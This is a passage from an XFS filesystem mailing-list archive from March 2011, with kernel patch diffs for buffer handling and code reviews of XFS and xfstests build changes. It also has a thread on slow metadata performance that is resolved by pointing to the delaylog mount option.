mapping = &inode->i_data; - mapping->a_ops = &mapping_aops; - mapping->backing_dev_info = bdi; - mapping_set_gfp_mask(mapping, GFP_NOFS); - btp->bt_mapping = mapping; - return 0; -} - -STATIC int xfs_alloc_delwrite_queue( xfs_buftarg_t *btp, const char *fsname) @@ -1728,12 +1546,11 @@ xfs_alloc_buftarg( btp->bt_mount = mp; btp->bt_dev = bdev->bd_dev; btp->bt_bdev = bdev; + btp->bt_bdi = blk_get_backing_dev_info(bdev); INIT_LIST_HEAD(&btp->bt_lru); spin_lock_init(&btp->bt_lru_lock); if (xfs_setsize_buftarg_early(btp, bdev)) goto error; - if (xfs_mapping_buftarg(btp, bdev)) - goto error; if (xfs_alloc_delwrite_queue(btp, fsname)) goto error; btp->bt_shrinker.shrink = xfs_buftarg_shrink; @@ -1955,7 +1772,7 @@ xfsbufd( count++; } if (count) - blk_run_address_space(target->bt_mapping); + blk_run_backing_dev(target->bt_bdi, NULL); } while (!kthread_should_stop()); @@ -2003,7 +1820,7 @@ xfs_flush_buftarg( if (wait) { /* Expedite and wait for IO to complete. */ - blk_run_address_space(target->bt_mapping); + blk_run_backing_dev(target->bt_bdi, NULL); while (!list_empty(&wait_list)) { bp = list_first_entry(&wait_list, struct xfs_buf, b_list); diff --git a/fs/xfs/linux-2.6/xfs_buf.h b/fs/xfs/linux-2.6/xfs_buf.h index cbe6595..a9a1c45 100644 --- a/fs/xfs/linux-2.6/xfs_buf.h +++ b/fs/xfs/linux-2.6/xfs_buf.h @@ -61,30 +61,11 @@ typedef enum { #define XBF_DONT_BLOCK (1 << 16)/* do not block in current thread */ /* flags used only internally */ -#define _XBF_PAGE_CACHE (1 << 17)/* backed by pagecache */ #define _XBF_PAGES (1 << 18)/* backed by refcounted pages */ #define _XBF_RUN_QUEUES (1 << 19)/* run block device task queue */ +#define _XBF_KMEM (1 << 20)/* backed by heap memory */ #define _XBF_DELWRI_Q (1 << 21)/* buffer on delwri queue */ -/* - * Special flag for supporting metadata blocks smaller than a FSB. - * - * In this case we can have multiple xfs_buf_t on a single page and - * need to lock out concurrent xfs_buf_t readers as they only - * serialise access to the buffer. - * - * If the FSB size >= PAGE_CACHE_SIZE case, we have no serialisation - * between reads of the page. Hence we can have one thread read the - * page and modify it, but then race with another thread that thinks - * the page is not up-to-date and hence reads it again. - * - * The result is that the first modifcation to the page is lost. - * This sort of AGF/AGI reading race can happen when unlinking inodes - * that require truncation and results in the AGI unlinked list - * modifications being lost. - */ -#define _XBF_PAGE_LOCKED (1 << 22) - typedef unsigned int xfs_buf_flags_t; #define XFS_BUF_FLAGS \ @@ -100,12 +81,10 @@ typedef unsigned int xfs_buf_flags_t; { XBF_LOCK, "LOCK" }, /* should never be set */\ { XBF_TRYLOCK, "TRYLOCK" }, /* ditto */\ { XBF_DONT_BLOCK, "DONT_BLOCK" }, /* ditto */\ - { _XBF_PAGE_CACHE, "PAGE_CACHE" }, \ { _XBF_PAGES, "PAGES" }, \ { _XBF_RUN_QUEUES, "RUN_QUEUES" }, \ - { _XBF_DELWRI_Q, "DELWRI_Q" }, \ - { _XBF_PAGE_LOCKED, "PAGE_LOCKED" } - + { _XBF_KMEM, "KMEM" }, \ + { _XBF_DELWRI_Q, "DELWRI_Q" } typedef enum { XBT_FORCE_SLEEP = 0, @@ -120,7 +99,7 @@ typedef struct xfs_bufhash { typedef struct xfs_buftarg { dev_t bt_dev; struct block_device *bt_bdev; - struct address_space *bt_mapping; + struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; unsigned int bt_bsize; unsigned int bt_sshift; @@ -139,17 +118,6 @@ typedef struct xfs_buftarg { unsigned int bt_lru_nr; } xfs_buftarg_t; -/* - * xfs_buf_t: Buffer structure for pagecache-based buffers - * - * This buffer structure is used by the pagecache buffer management routines - * to refer to an assembly of pages forming a logical buffer. - * - * The buffer structure is used on a temporary basis only, and discarded when - * released. The real data storage is recorded in the pagecache. Buffers are - * hashed to the block device on which the file system resides. - */ - struct xfs_buf; typedef void (*xfs_buf_iodone_t)(struct xfs_buf *); -- 1.7.2.3 From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 01:34:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2A7Xtwf089496 for ; Thu, 10 Mar 2011 01:34:07 -0600 X-ASG-Debug-ID: 1299742596-440f00100000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CE0F8337AB4 for ; Wed, 9 Mar 2011 23:36:36 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id nPuaYQ4ejPDKtzWy for ; Wed, 09 Mar 2011 23:36:36 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxaQE-0006cr-M0; Thu, 10 Mar 2011 07:36:34 +0000 Date: Thu, 10 Mar 2011 02:36:34 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: preallocation transactions do not need to be synchronous Subject: Re: [PATCH] xfs: preallocation transactions do not need to be synchronous Message-ID: <20110310073634.GA25374@infradead.org> References: <1299713852-7663-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299713852-7663-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299742606 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 10:37:32AM +1100, Dave Chinner wrote: > From: Dave Chinner > > Preallocation and hole punch transactions are currently synchronous > and this is causing performance problems in some cases. The > transactions don't need to be synchronous as we don't need to > guarantee the preallocation is persistent on disk until a > fdatasync, fsync, sync operation occurs. If the file is opened > O_SYNC or O_DATASYNC, only then should the transaction be issued > synchronously. I had the same patch in my queue, but it turns out even that isn't enough for good performance when used fallocate in the fast path (e.g. recent Samba). I'll send a more comprehensive optimization that includes this soon. I also refactored the whole area to make the various flags more sensible. From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 01:35:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2A7Z2mO089555 for ; Thu, 10 Mar 2011 01:35:12 -0600 X-ASG-Debug-ID: 1299742672-6a9401960000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id EB56310BB59B for ; Wed, 9 Mar 2011 23:37:52 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id IScG4kaFMM57710J for ; Wed, 09 Mar 2011 23:37:52 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxaRT-0006dU-La; Thu, 10 Mar 2011 07:37:51 +0000 Date: Thu, 10 Mar 2011 02:37:51 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, npiggin@kernel.dk, linux-mm@kvack.org X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110310073751.GB25374@infradead.org> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299713876-7747-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299742672 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 10:37:56AM +1100, Dave Chinner wrote: > From: Dave Chinner > > On 32 bit systems, vmalloc space is limited and XFS can chew through > it quickly as the vmalloc space is lazily freed. This can result in > failure to map buffers, even when there is apparently large amounts > of vmalloc space available. Hence, if we fail to map a buffer, purge > the aliases that have not yet been freed to hopefuly free up enough > vmalloc space to allow a retry to succeed. IMHO this should be done by vm_map_ram internally. If we can't get the core code fixes we can put this in as a last resort. > > Signed-off-by: Dave Chinner > --- > fs/xfs/linux-2.6/xfs_buf.c | 14 +++++++++++--- > 1 files changed, 11 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c > index 3cc671c..a5a260f 100644 > --- a/fs/xfs/linux-2.6/xfs_buf.c > +++ b/fs/xfs/linux-2.6/xfs_buf.c > @@ -455,9 +455,17 @@ _xfs_buf_map_pages( > bp->b_addr = page_address(bp->b_pages[0]) + bp->b_offset; > bp->b_flags |= XBF_MAPPED; > } else if (flags & XBF_MAPPED) { > - bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, > - -1, PAGE_KERNEL); > - if (unlikely(bp->b_addr == NULL)) > + int retried = 0; > + > + do { > + bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, > + -1, PAGE_KERNEL); > + if (bp->b_addr) > + break; > + vm_unmap_aliases(); > + } while (retried++ <= 1); > + > + if (!bp->b_addr) > return -ENOMEM; > bp->b_addr += bp->b_offset; > bp->b_flags |= XBF_MAPPED; > -- > 1.7.2.3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs ---end quoted text--- From jengelh@medozas.de Thu Mar 10 08:12:01 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AEBu7L105814 for ; Thu, 10 Mar 2011 08:12:01 -0600 X-ASG-Debug-ID: 1299766474-352d022e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from borg.medozas.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7EFA5158BA41 for ; Thu, 10 Mar 2011 06:14:35 -0800 (PST) Received: from borg.medozas.de (borg.medozas.de [188.40.89.202]) by cuda.sgi.com with ESMTP id kQ2oI5L4rTLxGeBY for ; Thu, 10 Mar 2011 06:14:35 -0800 (PST) Received: by borg.medozas.de (Postfix, from userid 25121) id 4D942F0C32AB1; Thu, 10 Mar 2011 15:14:34 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by borg.medozas.de (Postfix) with ESMTP id 315475FA0 for ; Thu, 10 Mar 2011 15:14:34 +0100 (CET) Date: Thu, 10 Mar 2011 15:14:34 +0100 (CET) From: Jan Engelhardt To: xfs@oss.sgi.com X-ASG-Orig-Subj: Many-metadata performance still at a loss Subject: Many-metadata performance still at a loss Message-ID: User-Agent: Alpine 2.01 (LNX 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: borg.medozas.de[188.40.89.202] X-Barracuda-Start-Time: 1299766486 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57603 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi, Between 2.6.33 and 2.6.37 there was a lot of interesting announcements with regards to XFS performance. However, now that I booted into 2.6.37.2, I still see the metadata slowness from earlier. (Basically `time (tar -xf linux-2.6.37.tar.gz; sync)` - ext4 gets the job done in like 15-20 seconds, xfs is still syncing after 11 minutes.) Was there something I missed? # xfs_info / meta-data=/dev/md3 isize=256 agcount=32, agsize=11429117 blks = sectsz=512 attr=2 data = bsize=4096 blocks=365731739, imaxpct=5 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=32768, version=2 = sectsz=512 sunit=0 blks, lazy-count=0 realtime =none extsz=4096 blocks=0, rtextents=0 Jan From stan@hardwarefreak.com Thu Mar 10 09:48:26 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AFmL9q110090 for ; Thu, 10 Mar 2011 09:48:26 -0600 X-ASG-Debug-ID: 1299772260-3c4701f30000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from greer.hardwarefreak.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 0161F1DE4E39 for ; Thu, 10 Mar 2011 07:51:01 -0800 (PST) Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with SMTP id b6HnFg6ochr8lCka for ; Thu, 10 Mar 2011 07:51:01 -0800 (PST) Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 96FD06C168 for ; Thu, 10 Mar 2011 09:51:00 -0600 (CST) Message-ID: <4D78F364.5000000@hardwarefreak.com> Date: Thu, 10 Mar 2011 09:51:00 -0600 From: Stan Hoeppner User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Many-metadata performance still at a loss Subject: Re: Many-metadata performance still at a loss References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1299772272 X-Barracuda-Bayes: INNOCENT GLOBAL 0.4480 1.0000 0.0000 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57603 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Jan Engelhardt put forth on 3/10/2011 8:14 AM: > Hi, > > > Between 2.6.33 and 2.6.37 there was a lot of interesting announcements > with regards to XFS performance. However, now that I booted into > 2.6.37.2, I still see the metadata slowness from earlier. > (Basically `time (tar -xf linux-2.6.37.tar.gz; sync)` - ext4 gets the > job done in like 15-20 seconds, xfs is still syncing after 11 minutes.) > > Was there something I missed? Yes. You have to add "delaylog" to your mount options to enable the metadata performance enhancement. It won't be the default setting until 2.6.39. -- Stan From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:21:50 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHLdut113438 for ; Thu, 10 Mar 2011 11:21:50 -0600 X-ASG-Debug-ID: 1299777860-129a00b40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 267E63399D8; Thu, 10 Mar 2011 09:24:20 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 27s7dF2ct0rDrmUv; Thu, 10 Mar 2011 09:24:20 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pxjb0-0003cT-A4; Thu, 10 Mar 2011 17:24:18 +0000 Date: Thu, 10 Mar 2011 12:24:18 -0500 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix a few build warnings Subject: Re: [PATCH] xfstests: fix a few build warnings Message-ID: <20110310172418.GA13390@infradead.org> References: <201103041937.p24JbVtP004804@stout.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201103041937.p24JbVtP004804@stout.americas.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299777871 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > lio_random_methods(long curr_mask) > { > int mask=0; > - long random_bit(); > + long random_bit(long); This should use the prototype from include/random_range.h instead. Otherwise looks good to me, Reviewed-by: Christoph Hellwig From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:22:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHMkLQ113500 for ; Thu, 10 Mar 2011 11:22:57 -0600 X-ASG-Debug-ID: 1299777938-7aae02110000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 46ED33399EE; Thu, 10 Mar 2011 09:25:38 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id LFl3zYLQxE3O9S3n; Thu, 10 Mar 2011 09:25:38 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxjcH-0004H8-Tb; Thu, 10 Mar 2011 17:25:37 +0000 Date: Thu, 10 Mar 2011 12:25:37 -0500 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/2] xfstests: a few fixes to Makefile Subject: Re: [PATCH 1/2] xfstests: a few fixes to Makefile Message-ID: <20110310172537.GB13390@infradead.org> References: <201103041937.p24JbaaN004813@stout.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201103041937.p24JbaaN004813@stout.americas.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299777938 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > +ifeq ($(HAVE_DMAPI), true) > # automake doesn't always support "default" target > # so do dmapi make explicitly with "all" > -ifeq ($(HAVE_DMAPI), true) What about moving the # signs to the first line so that it never gets echoed at all? Otherwise looks good to me. From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:24:15 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AHO5gb113568 for ; Thu, 10 Mar 2011 11:24:15 -0600 X-ASG-Debug-ID: 1299778005-0e1000dc0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3B00110C19BF; Thu, 10 Mar 2011 09:26:45 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id RBrD6GI1MmRmlwe4; Thu, 10 Mar 2011 09:26:45 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxjdN-0004Hg-0J; Thu, 10 Mar 2011 17:26:45 +0000 Date: Thu, 10 Mar 2011 12:26:45 -0500 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/2] xfstests: some refinements on "make depend" Subject: Re: [PATCH 2/2] xfstests: some refinements on "make depend" Message-ID: <20110310172644.GC13390@infradead.org> References: <201103041937.p24Jbfh5004820@stout.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201103041937.p24Jbfh5004820@stout.americas.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778016 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 01:37:41PM -0600, Alex Elder wrote: > Make it so "make depend" is a generic target, like "make clean". > > Each Makefile has a "depend" target that indicates whether making > dependencies means creating ".dep" or creating ".ltdep" (or, I > suppose, both, though none do that right now). Both files get > created even if there are no CFILES to scan (to ensure the target > up-to-date). The "default" target now depends on "depend" (there is > no "ltdepend" any more). > > Remove the "depend" and "ltdepend" definitions from the "buildrules" > file; only the actual generated files (".dep" and ".ltdep") remain > as generic targets. The "depend' target is still defined as phony. > > Do a shell trick when expanding the value of CFILES, to avoid a > problem that occurs if it is created by "make" by concatentating two > empty strings. The problem was that in that case CFILES will > contain a space, and that wasn't getting treated as empty as > desired. > > Make the rule for tool/lib dependencies more generic, to reflect the > general desire that "lib" subdirectories need to be built before > things in the "tool" subdirectories. Can we instead port over the generic dependency generation from xfsprogs/xfsdump? From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:27:02 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHQqTR113706 for ; Thu, 10 Mar 2011 11:27:02 -0600 X-ASG-Debug-ID: 1299778183-128700f40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A8B28337FEE; Thu, 10 Mar 2011 09:29:43 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id z4Jo4Gc49GylRGJ1; Thu, 10 Mar 2011 09:29:43 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxjgF-0004O2-8F; Thu, 10 Mar 2011 17:29:43 +0000 Date: Thu, 10 Mar 2011 12:29:43 -0500 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: rework "dmapi" subtree build mechanism Subject: Re: [PATCH] xfstests: rework "dmapi" subtree build mechanism Message-ID: <20110310172943.GD13390@infradead.org> References: <201103041937.p24Jbk5W004828@stout.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201103041937.p24Jbk5W004828@stout.americas.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778183 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > LIB_SUBDIRS = include lib > TOOL_SUBDIRS = ltp src m4 > +ifeq ($(HAVE_DMAPI), true) > +TOOL_SUBDIRS += dmapi > +endif Does this work with the way we generate source tarballs on make dist? In xfsprogs we have special variables for source files that don't get build. > @@ -0,0 +1,30 @@ > +# > +# Copyright (c) 2011 SGI All Rights Reserved. > +# I think a license would be more useful than all rights reserved here. Except for that the patch looks sane to me, and having a consistent build system is a good thing. From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:27:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHRYwS113755 for ; Thu, 10 Mar 2011 11:27:44 -0600 X-ASG-Debug-ID: 1299778225-32ff00c10000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A32501359153; Thu, 10 Mar 2011 09:30:25 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id ExegEfhnzFMJE3Pk; Thu, 10 Mar 2011 09:30:25 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pxjgv-00054X-AN; Thu, 10 Mar 2011 17:30:25 +0000 Date: Thu, 10 Mar 2011 12:30:25 -0500 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix parallel make Subject: Re: [PATCH] xfstests: fix parallel make Message-ID: <20110310173025.GE13390@infradead.org> References: <201103042235.p24MZ75i023399@stout.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: 